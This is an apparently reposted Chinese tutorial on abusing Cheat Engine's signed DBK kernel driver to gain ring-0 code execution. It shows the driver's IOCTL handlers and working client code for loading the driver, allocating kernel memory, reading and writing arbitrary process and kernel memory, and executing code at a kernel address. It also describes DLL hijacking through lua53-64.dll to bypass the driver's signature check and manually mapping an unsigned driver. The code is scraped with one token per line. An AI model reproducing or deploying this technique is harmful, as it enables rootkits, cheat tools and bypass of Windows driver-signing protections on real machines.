CE的DBK驱动提供了一些很直接的IOCTL接口,包括在分配内核中的非分页内存、执行内核代码、读写任意内存地址、建立mdl映射等,下面展示了DBK驱动通过IOCTL接口提供功能的部分源码;
这里提供了分配/释放非分页内存的功能:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
case IOCTL_CE_ALLOCATEMEM_NONPAGED:
{
struct
input
{
ULONG Size;
}
*
inp;
PVOID address;
int
size;
inp
=
Irp
-
>AssociatedIrp.SystemBuffer;
size
=
inp
-
>Size;
address
=
ExAllocatePool(NonPagedPool,size);
*
(PUINT64)Irp
-
>AssociatedIrp.SystemBuffer
=
0
;
*
(PUINT_PTR)Irp
-
>AssociatedIrp.SystemBuffer
=
(UINT_PTR)address;
if
(address
=
=
0
)
ntStatus
=
STATUS_UNSUCCESSFUL;
else
{
DbgPrint(
"Alloc success. Cleaning memory... (size=%d)\n"
,size);
DbgPrint(
"address=%p\n"
, address);
RtlZeroMemory(address, size);
ntStatus
=
STATUS_SUCCESS;
}
break
;
}
case IOCTL_CE_FREE_NONPAGED:
{
struct
input
{
UINT64 Address;
}
*
inp;
inp
=
Irp
-
>AssociatedIrp.SystemBuffer;
ExFreePool((PVOID)(UINT_PTR)inp
-
>Address);
ntStatus
=
STATUS_SUCCESS;
break
;
}
|
这里提供了给定内核地址就能直接执行内核代码的功能:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
case IOCTL_CE_EXECUTE_CODE:
{
typedef NTSTATUS (
*
PARAMETERLESSFUNCTION)(UINT64 parameters);
PARAMETERLESSFUNCTION functiontocall;
struct
input
{
UINT64 functionaddress;
/
/
function address to call
UINT64 parameters;
}
*
inp
=
Irp
-
>AssociatedIrp.SystemBuffer;
DbgPrint(
"IOCTL_CE_EXECUTE_CODE\n"
);
functiontocall
=
(PARAMETERLESSFUNCTION)(UINT_PTR)(inp
-
>functionaddress);
__try
{
ntStatus
=
functiontocall(inp
-
>parameters);
DbgPrint(
"Still alive\n"
);
ntStatus
=
STATUS_SUCCESS;
}
__except(
1
)
{
DbgPrint(
"Exception occured\n"
);
ntStatus
=
STATUS_UNSUCCESSFUL;
}
break
;
}
|
之所以DBK驱动提供如此直白的接口但微软还能给签名,是因为DBK驱动做了一点基本的防护,在进程打开DBK驱动创建的设备对象时,它会通过进程文件对应的sig文件来校验进程文件的数字签名,如果校验失败,会打开设备对象失败,从而阻止其他进程使用DBK驱动提供的功能,这也就是为什么CE的安装目录下有sig文件;
我发现CE由于需要加载lua脚本,所以导入表里有lua53-64.dll,可以通过dll劫持让CE在启动之前就加载自己写的dll,dll里加载DBK驱动,并打开其创建的设备对象,之后内存加载自己写的未签名驱动并运行DriverEntry,虽然DriverEntry不是在System进程下运行的但好歹是跑了R0的代码。
1、加载DBK驱动
CreateService创建服务,但在OpenService打开服务之前需要写4个注册表项,不然DBK驱动会加载失败。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
/
/
写相关注册表
HKEY hKey;
std::wstring subKey
=
Format
(L
"SYSTEM\\CurrentControlSet\\Services\\%ws"
, DBK_SERVICE_NAME);
LSTATUS status
=
RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(),
0
, KEY_WRITE, &hKey);
if
(ERROR_SUCCESS !
=
status)
{
LOG(
"RegOpenKeyEx failed"
);
CloseServiceHandle(hService);
CloseServiceHandle(hMgr);
return
false;
}
std::wstring AValue
=
Format
(L
"\\Device\\%ws"
, DBK_SERVICE_NAME);
RegSetValueEx(hKey, L
"A"
,
0
, REG_SZ, reinterpret_cast<const BYTE
*
>(AValue.data()), AValue.size()
*
sizeof(wchar_t));
std::wstring BValue
=
Format
(L
"\\DosDevices\\%ws"
, DBK_SERVICE_NAME);
RegSetValueEx(hKey, L
"B"
,
0
, REG_SZ, reinterpret_cast<const BYTE
*
>(BValue.data()), BValue.size()
*
sizeof(wchar_t));
std::wstring CValue
=
Format
(L
"\\BaseNamedObjects\\%ws"
, DBK_PROCESS_EVENT_NAME);
RegSetValueEx(hKey, L
"C"
,
0
, REG_SZ, reinterpret_cast<const BYTE
*
>(CValue.data()), CValue.size()
*
sizeof(wchar_t));
std::wstring DValue
=
Format
(L
"\\BaseNamedObjects\\%ws"
, DBK_THREAD_EVENT_NAME);
RegSetValueEx(hKey, L
"D"
,
0
, REG_SZ, reinterpret_cast<const BYTE
*
>(DValue.data()), DValue.size()
*
sizeof(wchar_t));
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
UINT64 DBK_AllocNonPagedMem(ULONG size)
{
#pragma pack(1)
struct InputBuffer
{
ULONG size;
};
#pragma pack()
InputBuffer inputBuffer;
inputBuffer.size
=
size;
UINT64 allocAddress
=
0LL
;
DWORD retSize;
if
(!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL))
{
LOG(
"DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed"
);
return
0
;
}
return
allocAddress;
}
bool
DBK_FreeNonPagedMem(UINT64 allocAddress)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 address;
};
#pragma pack()
InputBuffer inputBuffer;
inputBuffer.address
=
allocAddress;
DWORD retSize;
if
(!DeviceIoControl(g_DBKDevice, IOCTL_CE_FREE_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL,
0
, &retSize, NULL))
{
LOG(
"DeviceIoControl IOCTL_CE_FREE_NONPAGED failed"
);
return
false;
}
return
true;
}
|
下面是读写任意进程的内存地址的代码(包括R0地址):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
|
bool
DBK_ReadProcessMem(UINT64 pid, UINT64 toAddr, UINT64 fromAddr, DWORD size,
bool
failToContinue)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 processid;
UINT64 startaddress;
WORD bytestoread;
};
#pragma pack()
UINT64 remaining
=
size;
UINT64 offset
=
0
;
do
{
UINT64 toRead
=
remaining;
if
(remaining >
4096
)
{
toRead
=
4096
;
}
InputBuffer inputBuffer;
inputBuffer.processid
=
pid;
inputBuffer.startaddress
=
fromAddr
+
offset;
inputBuffer.bytestoread
=
toRead;
DWORD retSize;
if
(!DeviceIoControl(g_DBKDevice, IOCTL_CE_READMEMORY, (LPVOID)&inputBuffer, sizeof(inputBuffer), (LPVOID)(toAddr
+
offset), toRead, &retSize, NULL))
{
if
(!failToContinue)
{
LOG(
"DeviceIoControl IOCTL_CE_READMEMORY failed"
);
return
false;
}
}
remaining
-
=
toRead;
offset
+
=
toRead;
}
while
(remaining >
0
);
return
true;
}
bool
DBK_WriteProcessMem(UINT64 pid, UINT64 targetAddr, UINT64 srcAddr, DWORD size)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 processid;
UINT64 startaddress;
WORD bytestowrite;
};
#pragma pack()
UINT64 remaining
=
size;
UINT64 offset
=
0
;
do
{
UINT64 toWrite
=
remaining;
if
(remaining > (
512
-
sizeof(InputBuffer)))
{
toWrite
=
512
-
sizeof(InputBuffer);
}
InputBuffer
*
pInputBuffer
=
(InputBuffer
*
)malloc(toWrite
+
sizeof(InputBuffer));
if
(NULL
=
=
pInputBuffer)
{
LOG(
"malloc failed"
);
return
false;
}
pInputBuffer
-
>processid
=
pid;
pInputBuffer
-
>startaddress
=
targetAddr
+
offset;
pInputBuffer
-
>bytestowrite
=
toWrite;
memcpy((PCHAR)pInputBuffer
+
sizeof(InputBuffer), (PCHAR)srcAddr
+
offset, toWrite);
DWORD retSize;
if
(!DeviceIoControl(g_DBKDevice, IOCTL_CE_WRITEMEMORY, (LPVOID)pInputBuffer, (sizeof(InputBuffer)
+
toWrite), NULL,
0
, &retSize, NULL))
{
LOG(
"DeviceIoControl IOCTL_CE_WRITEMEMORY failed"
);
free(pInputBuffer);
return
false;
}
free(pInputBuffer);
remaining
-
=
toWrite;
offset
+
=
toWrite;
}
while
(remaining >
0
);
return
true;
}
|
下面是执行内核地址的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
bool
DBK_ExecuteCode(UINT64 address)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 address;
UINT64 parameters;
};
#pragma pack()
InputBuffer inputBuffer;
inputBuffer.address
=
address;
inputBuffer.parameters
=
0
;
DWORD retSize;
if
(!DeviceIoControl(g_DBKDevice, IOCTL_CE_EXECUTE_CODE, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL,
0
, &retSize, NULL))
{
LOG(
"DeviceIoControl IOCTL_CE_EXECUTE_CODE failed"
);
return
false;
}
return
true;
}
|
4、将未签名驱动映射到内核内存中并修复其RVA以及导入表,之后运行其DriverEntry
(具体代码太多了,就不展示了)
5、创建驱动项目
要注意的是,由于这个驱动运行的方式不正常,所以要将入口点改为DriverEntry,还要禁用GS防护,这样才能避免SecurityCookie引发的crash问题。
最终目录如下:
管理员权限启动richstuff-x86_64.exe,它会在运行前加载lua53-x64.dll,之后dll会加载richstuffk64.sys驱动并打开其创建的设备对象,再通过IO控制其映射MyDriver.sys到内存中并调用其DriverEntry。
上图中的成果见附件CECheater.7z。
更多【利用CE的DBK驱动获取R0权限】相关视频教程:www.yxfzedu.com